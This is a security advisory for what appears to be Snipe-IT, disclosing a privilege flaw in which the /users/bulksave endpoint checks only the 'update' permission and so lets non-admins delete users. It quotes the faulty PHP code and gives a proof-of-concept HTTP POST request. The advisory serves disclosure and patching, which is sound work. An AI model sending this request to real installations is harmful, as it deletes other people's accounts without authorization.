GHSA-vgx7-c78r-69w9: CSRF

Impact An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.

Attacker Model

Authenticated non-admin user with:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1","users.edit":"1"} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The attacker does not have users.delete, admin, or superuser.

Affected Component

- routes/web/users.php

- app/Http/Controllers/Users/BulkUsersController.php

- Endpoint: POST /users/bulksave

Root Cause

The UI only exposes bulk delete to users with delete permission:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php @can('delete', \App\Models\User::class) <option value="delete">...</option> <option value="merge">...</option> @endcan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The confirmation path also checks delete:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php } elseif ($request->input('bulkactions') == 'delete') { $this->authorize('delete', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

However, the destructive route is registered separately:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php Route::post('bulksave', [Users\BulkUsersController::class, 'destroy']) ->name('users/bulksave'); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

and destroy() authorizes only update:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php public function destroy(Request $request) { $this->authorize('update', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

When deleteuser=1 is present, the method reaches:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php $user->delete(); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept

1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.

2. Create a harmless non-admin target user.

3. Log in as the attacker and obtain a valid CSRF token.

4. Send:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http POST /users/bulksave HTTP/1.1 Host: <snipe-it-host> Cookie: snipeitsession=<attacker-session> Content-Type: application/x-www-form-urlencoded

token=<csrf-token> ids[]=<target-user-id> deleteuser=1 statusid=<valid-status-id> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Observed response:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 302 Found Location: http://<snipe-it-host>/users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Patches Patched in 374f426f0c